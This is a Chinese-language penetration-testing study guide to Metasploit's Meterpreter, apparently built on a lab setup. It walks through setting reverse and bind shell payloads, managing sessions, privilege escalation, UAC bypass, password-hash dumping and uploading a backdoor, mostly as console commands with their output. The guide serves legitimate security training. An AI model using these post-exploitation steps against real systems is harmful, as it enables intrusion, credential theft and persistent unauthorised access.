Meterpreter - Study Guide
这如何支持我的渗透测试生涯? 有能力:
- 在被利用的机器上获取强大的 shell
- 控制被利用的机器
- 安装后门
Meterpreter 是一个非常强大的 shell,可以在 Android、BSD、Java、Linux、PHP、Python 和 Windows 易受攻击的应用程序和服务上运行。 它提供了许多有用的功能,可以帮助渗透测试人员进一步渗透目标系统和网络。
Meterpreter 不仅仅是一个简单的shell。 它提供了高级功能来收集信息、在攻击者和受害者机器之间传输文件、安装后门等等。 在下面的幻灯片中,您将看到它的基本用法。
要列出所有可能的 Meterpreter 有效负载,您可以在 MSFConsole 中运行搜索:
1
msf6 > search meterpreter
选择有效负载是使用 set
命令的问题。 例如,在攻击 Windows 机器时,您将使用:
1
msf exploit(explmod) > set payload windows/meterpreter/reverse_tcp
Bind and Reverse(绑定和反向)
Meterpreter 既可以等待目标机器上的连接,也可以连接回攻击者机器。 它最常用的配置是bind_tcp
和reverse_tcp
。
bind_tcp
在目标机器上运行一个服务器进程,等待来自攻击者机器的连接reverse_tcp
执行与攻击者机器的 TCP 连接。 正如您在后门一章中看到的,此功能可以帮助规避防火墙规则
选择要使用的配置是为漏洞利用模块设置正确的有效负载的问题。
1
2
3
4
5
6
7
8
9
10
11
# Selecting Meterpreter reverse_tcp for Windows or Linux(为 Windows 或 Linux 选择 Meterpreter reverse_tcp)
msf6 exploit(handler) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf6 exploit(handler) > set payload linux/x86/meterpreter/reverse_tcp
payload => linux/x86/meterpreter/reverse_tcp
# Selecting Meterpreter bind_tcp for Windows or Java(为 Windows 或 Java 选择 Meterpreter bind_tcp)
msf6 exploit(handler) > set payload windows/meterpreter/bind_tcp
payload => windows/meterpreter/bind_tcp
msf6 exploit(handler) > set payload java/meterpreter/bind_tcp
payload => java/meterpreter/bind_tcp
Launching Meterpreter(启动 Meterpreter)
为攻击设置正确的有效负载后,您必须运行漏洞利用程序以获取 Meterpreter 会话:
1
2
3
4
5
6
7
8
msf exploit(handler) > exploit
[*] Started bind handler
[*] Starting the payload handler...
[*] Sending stage (77048 bytes) to 192.168.75.28
[*] Meterpreter session 1 opened (192.168.75.17:50082 -> 192.168.75.28:5555) at 2015-02-20 12:49:08 +0100
meterpreter >
Meterpreter 会话是目标机器上的高级 shell。 在下面的幻灯片中,您将看到如何管理会话和使用 Meterpreter 提供的主要功能。
Sessions(会话)
单个 MSFConsole 实例可以托管多个 Meterpreter 会话; 这意味着您可以在目标上实例化多个 shell 并在它们之间切换。
您可以使用background
命令从 Meterpreter 会话切换到控制台:
1
2
3
meterpreter > background
[*] Backgrounding session 1...
msf exploit (handler) >
然后,您可以使用 session -l
命令列出当前打开的会话。
1
2
3
4
5
6
7
8
msf exploit(handler) > session -l
Active sessions
===============
Id Type Information Connection
-- ---- ----------- ----------
1 meterpreter x86/win32 els\els @ ELS 192.168.75.17:50082 ->
192.168.75.28:5555 (192.168.75.28)
192.168.75.17:50082:Address of the attacker machine(攻击者地址) 192.168.75.28:5555:Address of the victim machine(受害机器的地址)
要恢复后台会话,您必须使用 sessions -i
命令。
1
2
3
4
msf exploit(handler) > sessions -i 1
[*] Starting interaction with 1...
meterpreter >
Information Gathering with Meterpreter(使用 Meterpreter 收集信息)
Meterpreter 允许您在被利用的机器及其连接的网络上执行信息收集。 您可以检索:
- 有关机器和操作系统的信息
- 正在使用的网络配置
- 受感染主机的路由表
- 有关运行被利用进程的用户的信息
System Information(系统信息)
sysinfo
命令可让您检索有关被利用机器的信息:名称、操作系统、架构、系统语言和它正在运行的 Meterpreter 版本。
1
2
3
4
5
6
7
meterpreter > sysinfo
Computer : ELS
OS : Windows 7 (Build 7601, Service Pack 1).
Architecture : x64 (Current Process is WOW64)
System Language : en_US
Meterpreter : x64/win32
meterpreter >
Network Configuration(网络配置)
ifconfig
命令打印网络配置。
1
meterpreter > ifconfig
Routing Information(路由信息)
您可以使用 route
命令检查路由信息。
1
meterpreter > route
Current User(当前用户)
要知道哪个用户正在运行 Metasploit 利用的进程,可以使用 getuid
命令。
1
2
3
meterpreter > getuid
Server username: els\els
meterpreter >
Privilege Escalation(权限提升)
如果进程的所有者在受害系统上没有高权限,则可以使用 getsystem
命令。 此命令在目标机器上运行特权升级例程。 在 Windows 环境中,system
用户在机器上拥有最高权限。
1
2
meterpreter > getsystem
...got system (via technique 1).
Bypassing UAC(绕过 UAC)
请注意,在现代 Windows 操作系统中,用户帐户控制策略可防止权限提升。
1
2
meterpreter > getsystem
[-] priv_elevate_getsystem: Operation failed: The environment is incorrect.
您可以使用 bypassuac
模块绕过该限制。
1
2
3
4
5
6
7
8
9
10
11
12
meterpreter > background
[*] Backgrounding session 1...
msf exploit(handler) > search bypassuac
Matching Modules
================
Name Disclosure Date Rank Description
---- --------------- ---- -----------
exploit/windows/local/bypassuac 2010-12-31 excellent Windows Escalate UAC Protection Bypass
exploit/windows/local/bypassuac_injections 2010-12-31 exeellent Windows Escalate UAC Protection Bypass(In Memory Injection)
msf exploit(handler) > use exploit/windows/local/bypassuac
这个模块只接受一个参数,即您要绕过 UAC 的 Meterpreter 会话。
1
2
3
4
5
6
7
8
9
10
msf exploit(bypassuac) > show options
Module options (exploit/windows/local/bypassuac):
Name Current Setting Required Description
---- --------------- -------- -----------
SESSION yes The session to run this module on.
TECHNIQUE EXE yes Technique to use if UAC is turned off (accepted: PSH, EXE)
msf exploit(bypassuac) > set session 1
启动漏洞利用后,您将获得一个新的 Meterpreter 会话。
新会话禁用了 UAC 策略,因此 getsystem
命令有效!
1
2
3
4
5
meterpreter > getuid
Server username: els\els
meterpreter > getsystem
...got system (via technique 1).
meterpreter >
在系统上拥有管理权限意味着能够读取受保护的文件或更改配置。
Dumping the Password Database(转储密码数据库)
例如,您可以转储密码数据库并将其保存以供离线破解会话使用。 hashdump 模块转储 Windows 机器的密码数据库。
1
2
3
4
5
6
7
8
9
10
11
meterpreter > background
[*] Backgrounding session 2...
msf > use post/windows/gather/hashdump
msf post(hashdump) > show options
Module options (post/windows/gather/hashdump):
Name Current Setting Required Description
----- --------------- -------- -------------
SESSION yes The session to run this module on.
msf post(hashdump) > set session 2
配置完成后,您可以运行exploit
命令开始转储哈希。
1
msf post(hashdump) > exploit
Exploring the Victim System(探索受害者系统)
Meterpreter 让您可以使用类 Unix 的 shell 命令导航受害者的硬盘:
1
2
3
4
5
6
meterpreter > pwd # Prints the working directory 打印工作目录
C:\Windows\System32
meterpreter > cd C:\\ # Changes directory. Please note that you have to escape backslashes by doubling them. 更改目录。 请注意,您必须通过将反斜杠加倍来逃避反斜杠。
meterpreter > pwd
C:\
meterpreter > ls # Lists the current directory 列出当前目录
Uploading and Downloading(上传和下载)
此外,您可以使用同名命令上传和下载文件。
1
2
meterpreter > download HaxLogs.log /root/
meterpreter > upload /root/backdoor.exe C:\\Windows # Note the backslash escaping 注意反斜杠转义
Running an OS Shell(运行操作系统Shell)
您还可以运行标准操作系统shell。
1
2
3
4
5
6
7
8
9
meterpreter > shell
Process 2420 created.
Channel 1 created.
Microsoft Windows [Version 6.1.7601]
Copyright (c) 2009 Microsoft Corporation. All rights reserved.
C:\Windows\system32>cd \
C:\>exit
meterpreter >
The Help
每个 Meterpreter 命令都有简短的帮助信息。 您可以通过在命令行上使用 -h
参数来检查它。
1
2
3
4
5
6
7
8
meterpreter > upload -h
Usage: upload [options] src1 src2 src3 ... destination
Uploads local files and directories to the remote machine.
OPTIONS:
-h Help banner.
-r Upload recursively.
此外,您可以使用 help 命令显示所有 Meterpreter 命令。
1
meterpreter > help